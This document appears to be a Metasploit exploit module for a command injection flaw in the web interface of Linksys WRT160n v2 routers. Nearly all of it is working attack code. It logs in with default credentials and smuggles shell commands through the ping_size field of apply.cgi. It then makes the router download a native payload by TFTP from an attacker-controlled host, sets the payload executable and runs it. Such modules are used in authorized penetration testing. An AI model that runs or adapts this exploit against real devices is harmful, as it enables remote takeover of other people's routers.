Linksys WRT160n apply.cgi Remote Command Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex/proto/tftp'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',  
'Description' => %q{  
Some Linksys Routers are vulnerable to an authenticated OS command injection on  
their web interface where default credentials are admin/admin or admin/password.  
Since it is a blind OS command injection vulnerability, there is no output for the  
executed command when using the cmd generic payload. This module has been tested on  
a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a  
controlled system could be used for testing purposes. The exploit uses the tftp  
client from the device to stage to native payloads from the command injection.  
},  
'Author' =>  
[  
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '57887' ],  
[ 'EDB', '24478' ],  
[ 'OSVDB', '90093' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]  
],  
'DisclosureDate' => 'Feb 11 2013',  
'Privileged' => true,  
'Platform' => ['linux','unix'],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Linux mipsel Payload',  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 1  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),  
OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),  
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),  
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])  
], self.class)  
end  
  
  
def request(cmd,user,pass,uri)  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'authorization' => basic_auth(user,pass),  
'vars_post' => {  
"submit_button" => "Diagnostics",  
"change_action" => "gozila_cgi",  
"submit_type" => "start_ping",  
"action" => "",  
"commit" => "0",  
"ping_ip" => "1.1.1.1",  
"ping_size" => "&#{cmd}&",  
"ping_times" => "5",  
"traceroute_ip" => ""  
}  
})  
return res  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return nil  
end  
end  
  
def exploit  
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))  
uri = '/apply.cgi'  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
lhost = datastore['LHOST']  
  
#  
# testing Login  
#  
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
if res.nil? or res.code == 404  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
if [200, 301, 302].include?(res.code)  
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
else  
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")  
end  
  
if target.name =~ /CMD/  
if not (datastore['CMD'])  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
cmd = payload.encoded  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
else  
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")  
end  
return  
end  
  
#thx to Juan for his awesome work on the mipsel elf support  
@pl = generate_payload_exe  
  
#  
# start our server  
#  
print_status("#{rhost}:#{rport} - Starting up our TFTP service")  
@tftp = Rex::Proto::TFTP::Server.new  
@tftp.register_file(downfile,@pl,true)  
@tftp.start  
  
#  
# download payload  
#  
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")  
#this filename is used to store the payload on the device -> we have limited space for the filename!  
filename = rand_text_alpha_lower(4)  
  
#not working if we send all command together -> lets take three requests  
cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
  
# wait for payload download  
if (datastore['DOWNHOST'])  
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")  
select(nil, nil, nil, datastore['DELAY'])  
else  
wait_linux_payload  
end  
@tftp.stop  
register_file_for_cleanup("/tmp/#{filename}")  
  
#  
# chmod  
#  
cmd = "chmod 777 /tmp/#{filename}"  
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
  
#  
# execute  
#  
cmd = "/tmp/#{filename}"  
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")  
res = request(cmd,user,pass,uri)  
if (!res)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")  
end  
  
end  
  
# wait for the data to be sent  
def wait_linux_payload  
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")  
  
waited = 0  
while (not @tftp.files.length == 0)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > datastore['DELAY'])  
@tftp.stop  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")  
end  
end  
end  
end  
`